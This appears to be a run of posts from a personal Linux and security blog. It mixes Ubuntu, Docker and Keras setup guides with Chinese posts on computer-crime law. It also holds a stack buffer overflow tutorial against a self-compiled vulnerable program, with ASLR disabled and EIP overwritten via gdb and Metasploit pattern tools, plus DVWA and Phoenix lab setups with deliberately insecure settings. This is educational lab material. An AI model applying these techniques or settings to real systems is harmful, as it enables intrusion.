Sunday, June 16, 2019

HOWTO : Solve libssl1.1 Installation Problem On Ubuntu 18.04.2 LTS

Since the current version of libssl1.1 is 1.1.1 on Ubuntu 18.04.2, the previous installed 1.1.0 may caused problem when you are upgrading or updating the system. You need to do the following to solve the problem.

ls -l /var/lib/dpkg/info | grep -i libssl

When you see both 1.1.0 and 1.1.1, you need to do the following :

sudo mv /var/lib/dpkg/info/libssl* /tmp

sudo apt-get update
sudo apt-get -y dist-upgrade
sudo apt-get -y autoclean
sudo apt-get -y autoremove

The problem should be solved.

That's all! See you.

Monday, June 03, 2019

HOWTO : Install Keras On Nvidia Jetson Nano Developer Kit

To install JetPack 4.2 on Nvidia Jetson Nano Developer Kit, you need to follow this link.

Since JetPack 4.2 is using Ubuntu 18.04 instead of Ubuntu 18.04.2, Unity is installed by default. I prefer to uninstall Unity and get back the GNOME 3.

sudo apt update
sudo apt -y dist-upgrade
sudo apt remove unity-session unity
sudo apt install -y ubuntu-session gdm3 firefox gparted chrome-gnome-shell gnome-tweak-tool nano
sudo apt -y autoclean
sudo apt -y autoremove

Reboot the box.

If you have ownCloud :

sudo apt install -y owncloud-client

** owncloud requires you to enter password every time when boot.

To install Gnome Shell Extensions :

Harddisk LED to display the activity of the hard drive/SSD. It is recommended for this developer kit.

To set "Problem Reporting" to "Automatic" at "Privacy" of "Settings" in order to prevent unexpected popup windows.

To install Keras :

sudo apt-get install libhdf5-serial-dev hdf5-tools
sudo apt install -y python3-pip python3-dev python3-scipy
sudo apt-get install zlib1g-dev zip libjpeg8-dev libhdf5-dev

sudo pip3 install -U pip
sudo pip3 install -U numpy grpcio absl-py py-cpuinfo psutil portpicker six mock requests gast h5py astor termcolor

sudo pip3 install --extra-index-url tensorflow-gpu

sudo pip3 install -U keras

To test if it works or not :


>>> import keras

If there is no error message and showing "Using TensorFlow backend.", it works. To quit it :

>>> quit()

If you want to create swap file, you may need to use this resources.

That's all! See you.

Monday, May 20, 2019

轉念反思 - 楊和生 (Sang Young)


Thursday, May 16, 2019

HOWTO : Exploit Education - Phoenix on Kali Linux Rolling

apt install qemu-system


tar -xJvf exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz

cd exploit-education-phoenix-amd64

chmod +x

To run the virtual machine :


Open another terminal :

ssh -p 2222 user@localhost

The password is "user".

Inside the virtual machine, go to :

cd /opt/phoenix

You can choose either "amd64" or "i486" to do the Phoenix exploits.

cd /opt/phoenix/amd64


cd /opt/phoenix/i486

That's all! See you.

Thursday, May 09, 2019

Basic Buffer Overflow Exploit Make Easy

According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :

The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "".


Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

chmod +x

Run the following command and you will find out that "NX" is enabled.

./ --file vuln

To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.


What is your name?
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln

Feed in the junk characters.

(gdb) r < a.txt

The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers

We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt

The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers

We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions

(gdb) disass hacker

We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "" :

Exploit it now :

python | ./vuln

What is your name?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt

(gdb) info registers

(gdb) x/50xw $esp -100

The EIP address is 0xffffd32c.

May 9, 2019, Hong Kong, China

Wednesday, May 08, 2019

Exploit Education - Phoenix (Stack Overflows)

Exploit Education is formerly Exploit Exercise. They have a series of exploit exercises. The new release is Phoenix which covers the following topics :

- Network programming
- Stack overflows
- Format string vulnerabilities
- Heap overflows

I do the Stack overflows (i486) section recently. However, I cannot solve Stack-Six as it is too difficult for me at the moment.

You can download the virtual machine at here. The current image is v1.0.0-alpha-3 and released on 16th January 2019.

For not being a spoiler, the exploit codes are not shown in the video.

That's all! See you.

Thursday, May 02, 2019

VulnHub - Stack Overflows for Beginners 1

Stack Overflows for Beginners 1 is created by Jack Barradell-Johns who is a university student of University of Sheffield. He developed this box for Ethical Hacking Society of the university.

There are 5 flags (including root flag) to capture that are based on basic stack buffer overflow. The box is built on Kali Linux and is about 8 GB to download.

The first level is level0 and the username and password are both "level0".

To avoid for being spoiler, the flags and exploit codes are not shown in the video.

May 2, 2019 Hong Kong, China

Wednesday, April 24, 2019

HUAWEI MateBook X Pro on Ubuntu Desktop 18.04.2 LTS

CPU - Intel Core i7-8550U
Thunderbolt 3 - USB Type C
Display - 13.9 inches LTPS Touchscreen (3,000 x 2,000) (260 PPI)
Graphic - nVidia M150 and Intel HD Graphic on CPU
F2 key - UEFI BIOS
F12 key - Boot list

This is 2018 model. The 2019 (HUAWEI MateBook X Pro New) is not available here at the moment.

If you want to, you need to update BIOS on Windows 10 environment before installing Ubuntu. To update it, just download the driver and install the ".INF".

You can install Ubuntu Desktop 18.04.2 LTS on HUAWEI MateBook X Pro without any problem no matter "Secure Boot" is enable or not. However, it cannot be shutdown or reboot properly unless you installed nVidia display driver on it.

Make sure the "Problem Reporting" is set to "Automatic" at "Privacy" of "Settings" under the top right hand conner.

Meanwhile, you may need to install "net-tools" for seeing the settings of the network interfaces.

sudo apt install net-tools

nVidia Display Driver

You can install the latest nVidia Open Source Display Driver version 418 on it via Ubuntu PPA. VirtualBox 6.0.6 guest VM requires newer version of nVidia display driver. I tested it with version 319 but the guest vm cannot be refreshed properly near the mouse pointer.

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update

(if you have older version of nVidia driver, delete it first)
sudo apt purge nvidia*

sudo apt install nvidia-driver-418 nvidia-settings

GNOME Extensions

GNOME Extensions are very useful. I recommend you to install the following for this laptop.

sudo apt chrome-gnome-shell gnome-tweak

Go to the "" to install extensions by clicking the "ON/OFF" button on the Extensions pages.

EasyScreenCast to record the screen in video format.

OpenWeather to see the current weather of your location.

CPUfreq to change the CPU between "powersave" or "performance" as well as "Turbo Boost".

VirtualBox Applet for easy access the VirtualBox virtual machines when VirtualBox is installed.

Extension Update Notifier to notifiy you about the update of Extensions.

Caffeine to disable and enable the screen saver.

Clipboard Indicator to manage your copy and paste clipboard data.

Lock Keys to indicate the "Nums" and "CapLock" keys status.

Harddisk LED to display the activity of the hard drive/SSD.

That's all! See you.

Wednesday, March 20, 2019






掃描器 (Scanner) 大致有分漏洞掃描器 (Vulnerability Scanner) 和端口掃描器 (Port Scanner) 兩大類。漏洞掃描器又大致有分網絡漏洞掃描器 (Network Vulnerability Scanner) 及網站漏洞掃描器 (Web Application Vulnerability Scanner) 兩大類。在搜證方面,我個人認為端口掃描器的活動比較難搜集證據,而最容易的是網站漏洞掃描器;至於網絡漏洞掃描器就介乎兩者之間。

基於網站漏洞掃描器的活動有可能影響和干擾網站的正常運作,這就有可能觸犯刑事毀壞罪 (Criminal Damage)。而網絡漏洞掃描器活動的影響和干擾相對比較少,但因搜證也不難,所以漏洞掃描器活動亦都有可能觸犯刑事毀壞罪。至於端口掃描活動相對對目標機器的影響和干擾極之少,但並不代表端口掃描活動不犯法,只是搜證比較困難罷了。


阻斷服務 (Denial of Service, DoS) 和分佈式阻斷服務 (Distributed Denial of Service, DDoS) 攻擊非常明顯地影響和干擾目標機器的正常運作,而且搜證也不太難,所以這活動有可能觸犯了刑事毀壞罪。


當網域名稱系統 (Domain Name Service, DNS) 被脅持或網站的跨站腳本 (Cross Site Scripting, XSS) 漏洞被利用,網站可能會被這樣的活動而非接觸式地被改頭換面 (Defacing)。

這活動亦有可能觸犯了刑事毀壞罪或不誠實使用電腦罪 (Obtaining Access Computer with Criminal or Dishonest Intent),雖然在搜集證據上有一定的困難。




香港法例第二百章 刑事罪行條例 第五十九及六十節
香港法例第二百章 刑事罪行條例 第一六一節

Tuesday, March 19, 2019



以下精選一些與我們 (人民) 有關的條例講述一下,從而了解「網絡安全法」要求網絡使用者的義務和責任。其餘的條文是有關網絡產品、服務提供者和關鍵基礎設施部門在「網絡安全法」的責任和義務,有關法例的理念和罰則亦有提及。以下條文是原文照錄。

第十二條 - 網絡活動參與者的權利和義務


任何個人和組織使用網絡應當遵守憲法法律,遵守公共秩序,尊重社會公德,不得危害網絡安全,不得利用網絡從事危害國家安全、榮譽和利益,煽動顛覆國家政權、推翻社會主義制度,煽動分裂國家、破壞國家統一,宣揚恐怖主義、極端主義,宣揚民族仇恨、民族歧視, 傳播暴力、淫褻色情訊息,編造、 傳播虛假信息擾亂經濟秩序和社會秩序,以及侵害他人名譽、私隱、知識產權和其他合法權益等活動。

第二十條 - 網絡安全人才培養

國家支持企業和高等學校、職業學校等教育培訓機構開展網絡安全相關教育與培訓, 採取多種方式培養網絡安全人才,促進網絡安全人才交流。

第二十二條 - 網絡產品和服務提供者的安全義務




第二十七條 - 禁止危害網絡安全的行為


第二十八條 - 網絡運營者的技術支持和協助義務


第三十條 - 執法訊息用途限制


第四十一條 - 個人信息收集使用規則



第四十二條 - 網絡運營者的個人信息保護義務



第四十六條 - 禁止利用網絡從事與違法犯罪相關的活動


第四十七條 - 網絡運營者處理違法信息的義務


第四十八條 - 電子信息和應用軟件的信息安全要求及其提供者處置違法信息的義務







Tuesday, March 05, 2019

HOWTO : Install DVWA on Ubuntu 18.04.1 LTS

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

Step 1 :

sudo apt install php7.2 php7.2-gd php-mysql mysql-server apache2 git

Set the MySQL server password as prompt.

Step 2 :

sudo mysql -u root -p


GRANT ALL PRIVILEGES ON dvwadb.* TO ‘dvwa’@’localhost’ IDENTIFIED BY ‘dvwapassword’;

Step 3 :

sudo nano /etc/php/7.2/apache2/php.ini

Change the "Off" to "On" :

allow_url_include = On

Step 4 :

cd /var/www/html

sudo git clone

cd /var/www/html/DVWA

sudo chmod 777 /var/www/html/DVWA/config
sudo chmod 666 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 777 /var/www/html/DVWA/hackable/uploads/

Step 5 :

sudo nano /etc/apache2/sites-enabled/000-default.conf

Append "/DVWA" as the end of "/var/www/html" :

DocumentRoot /var/www/html/DVWA

Step 6 :

sudo cp /var/www/html/DVWA/config/ /var/www/html/DVWA/config/

sudo nano /var/www/html/DVWA/config/

Make changes as the following :

$_DVWA[ 'db_server' ] = '';
$_DVWA[ 'db_database' ] = 'dvwadb';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwapassword';

Step 7 :

Go to to generate the keys for 'Insecure CAPTCHA' module and add to the related items at "".

Step 8 :

sudo systemctl restart apache2

Step 9 :


The username is "admin" while the password is "password".

Beware that the DVWA is vulnerable and do not allow it to be accessed via public.

Step 10 (Optional) :

sudo apt install php7.2-fpm

sudo a2enmod proxy_fcgi setenvif
sudo a2enconf php7.2-fpm

That's all! See you.

Friday, February 15, 2019

HOWTO : Install docker-ce and nvidia-docker2 on Ubuntu 18.04.2 and Kali Linux 2019.1

docker-ce requires nvidia-docker2 on CUDA system.

Install nVidia driver :

On Ubuntu 18.04.2 :
HOWTO : Intel and nVidia GPUs on Ubuntu 18.04.1 LTS

On Kali Linux 2019.1 :
HOWTO : nVidia and HashCat on Kali Linux 2018.4

Uninstall (if any)

sudo apt remove docker docker-engine containerd runc docker-compose

Ready for docker-ce

On Ubuntu 18.04.2 :

curl -fsSL | sudo apt-key add -

sudo add-apt-repository "deb [arch=amd64] $(lsb_release -cs) stable"

sudo apt update

On Kali Linux 2019.1 :

curl -fsSL | sudo apt-key add -

echo "deb [arch=amd64] stretch stable" > /etc/apt/sources.list.d/docker-ce.list

apt update

Ready for nvidia-docker2

On Ubuntu 18.04.2 :

curl -s -L | sudo apt-key add -

distribution=$(. /etc/os-release;echo $ID$VERSION_ID)

curl -s -L$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list

sudo apt update

On Kali Linux 2019.1 :

curl -s -L | sudo apt-key add -

curl -s -L | tee /etc/apt/sources.list.d/nvidia-docker.list

apt update

Install docker-ce and nvidia-docker2

apt-cache madison docker-ce
apt-cache madison nvidia-docker2

Find the most matched versions and the following settings are for my system at the time of this writing :

On Ubuntu 18.04.2 :

sudo apt install docker-ce=18.03.1-ce-0-debian docker-ce-cli=18.03.1-ce-0-debian nvidia-docker2=2.0.3+docker18.03.1-1 nvidia-container-runtime=2.0.3+docker18.03.1-1

On Kali Linux 2019.1 :

apt install docker-ce=18.03.1-ce-0-debian docker-ce-cli=18.03.1-ce-0-debian nvidia-docker2=2.0.3+docker18.03.1-1 nvidia-container-runtime=2.0.3+docker18.03.1-1

If the versions are not matched, the installation will be failed.

Install docker-compose

sudo apt install python3-pip
pip3 install docker-compose pip --ugrade

Configure docker-ce

sudo nano /etc/docker/daemon.json

Add the following in front of "runtimes": { :

"default-runtime": "nvidia",

sudo systemctl enable docker
sudo systemctl start docker

Basic usage

docker run --runtime=nvidia --rm nvidia/cuda nvidia-smi


Make sure the nvidia driver and CUDA versions in the host computer is equal or greater than the versions in docker containers. Otherwise, docker containers refuse to start.

That's all! See you.

Monday, February 11, 2019

Tensorflow Docker for Deep Learning Programming

Tensorflow is an open source machine learning framework for everyone. The Tensorflow Dockers are built for CPUs support SSE4.2, AVX2 and AVX512 feature which will use the full power of the CPU to train the model.


- Tensorflow 1.12.0
- Ubuntu 18.04.x
- Python 3.6.x
- CPU with SSE4.2 (native docker)
- CPU with AVX2 (default docker)
- CPU with AVX512 (avx512 docker)

Tensorflow Docker is an Open Source Project which is released under GPLv3 License and it is developed by Samiux.


Tensorflow Docker for Deep Learning Programming

That's all! See you.

Friday, February 01, 2019

Kali Linux Lite Docker For Lightweight Pentesting

Offensive Security builds a Kali Linux base Docker image which do not have any tool on it. Meanwhile, there is no graphic interface (Display Manager) too.

Kali Linux Lite Docker is a bundle of scripts to generate Docker image for lightweight pentesting purpose. Not all the tools available in Kali Linux are on the generated image. If so, it takes more that 20GB spaces and it breaks the policy of the Docker - microservices. The image is trying to keep it as small as possible. The Kali Linux Lite Docker image can be ran on Linux, Windows and MacOSX without any problem. The scripts are released under GPLv3 by Samiux.

The script will generate an image of around 4-5GB in size. This image include the following command line (text mode) tools :

(A) Scanners
- nmap, wpscan, dirb, masscan, unicornscan, netdiscover

(B) Exploitation
- metasploit-framework exploitdb sqlmap

(C) Debuggers and Compilers
- gdb gdb-doc, gdb-peda, build-essential

(D) Webshells and network tools
- net-tools, webshells, weevely

(E) CTF related
- steghide xxd


Kali Linux Lite Docker For Lightweight Pentesting

Wednesday, January 16, 2019

HOWTO : Fix Ubuntu Cannot Reboot With Command Properly

When you have an UEFI BIOS on your computer and installed with Ubuntu, you may encounter the computer cannot be reboot with command properly. We can fix it by the following method.

sudo nano /etc/default/grub

Locate the following line :


and replaces it with :


After that, run the following command and reboot with command :

sudo update-grub

sudo reboot

That's all! See you.

Tuesday, January 15, 2019

HOWTO : Fix Temporary Failure In Name Resolution On Ubuntu 18.04.1

If you are using Ubuntu 18.04.1 Server version, you may encounter a ping problem. That is, you can ping with IP address but cannot ping with domain name. We can fix this problem by the following method.

sudo mv /etc/resolv.conf /etc/resolv.conf-original
sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
sudo systemctl restart systemd-resolved

You can ping with domain name now.

That's all! See you.

Wednesday, January 09, 2019

如何成為黑客 (入門篇)


黑客 (Hacker) 一般是指技術精湛的人,能令設備做出一些不在設計情況之下運作。

在資訊科技安全領域下,黑客是指一個具有精湛電腦技術的人,能使電腦或其程式於不在其設計的情況下運作。在我等來說,黑客有分黑帽子 (Black Hat),白帽子 (White Hat),灰帽子 (Grey Hat) 及腳本小子 (Script Kiddies)。

黑帽子是指所謂駭客 (Cracker),他們是作奸犯科之流,但技術精湛。


灰帽子也是資訊科技安全專家或硏究員,他們也測試系統漏洞,但他們大多數不會向有關開發人員或機構公報其發現,他們會直接披露 (Full Disclosure)。他們多數走在法律邊緣,但並沒有惡意。




再者,當完成編寫程式後,可以自行進行滲透測試 (Penetration Testing),以確保製成品沒有明顯的高危漏洞。


黑客必須具有一定的英語水平,因為大多數的技術文獻都是用英語撰寫的。黑客也必須具有基本的編程能力,如 C、PHP 或 Python 等語言。除此之外,黑客也必須略懂網絡知識和技術。最後亦都是最重要的,黑客更必須具有創意的頭腦,思路不會被既有的框架所束縛。

當然,黑客要對各個版本的微軟視窗有所認識,這亦包括伺服器版本。除此之外,黑客亦會對 Linux、Unix (BSD 和 macOS 等) 有所了解。



(一) Hack The Box (綫上,付費或免費,要求有一定的基本能力方可注册);
(二) VulnHub (綫下,免費)。

網上有很多黑客技術的演練,大多是文章或視頻。比較知名的視頻為 IppSec 的 YouTube 視頻。



如果你要在這個行業打滾的話,我建議考取一些認證。但如果你只是業餘又或者是賞金獵人 (Bug Bounty Hunter) 的話,有否認證並沒有必然關係。當然,如果有認證的話,在聲譽上就比較完美了。


(一) HackerOne
(二) BugCrowd


(一) OSCP (在廿三小時四十五分內完成,是實戰型試題;在家裏應試,但會被監察);
(二) CEH (在四小時內完成,是選擇題試題);
(三) CEH (Practical) (在六小時內完成,是實戰型試題);
(四) CISSP (在三小時內完成,是選擇題試題)。

OSCP 和 CEH 是滲透測試的範疇,而 CISSP 是資訊科技安全管理的範疇。




Wednesday, January 02, 2019

HOWTO : Protect from being attacked by PMKID attack

On Aug 04, 2018, the developer of hashcat discovers a new way to attack WPA/WPA2 Wifi, namely PMKID attacks, when he is going to find a new way to attack new WPA3. This attack requires no Wifi user attached to the Wifi router and no need 4-way handshake. Meanwhile, almost all modern Wifi routers are vulnerable to this attack.

I conducted a quick test on my living area recently and found all Wifi routers (including mine) are vulnerable to this attack. If working with hashcat and/or good dictionaries properly, the WPA PSK (pre-Shared Key) password can be obtained without any problem.

Comes to the conclusion, WPA2 is no longer safe!

However, we can protect our Wifi by following methods :

(1) Make the WPA PSK password as complex and as long as possible (mine is 26 characters long);
(2) Make sure the WPA PSK password cannot be found in the available dictionaries (such as rockyou);
(3) Make sure your Wifi router can prevent ARP spoofing (Address Resolution Protocol) or apply MAC address filtering when possible;
(4) If possible, change your WPA PSK password at least once a month; and
(5) Keep your Wifi signal as weak as possible. Yes, makes it as weak as possible.


[1] New attack on WPA/WPA2 using PMKID
[2] Youtube PMKID attack Demo

That's all! See you.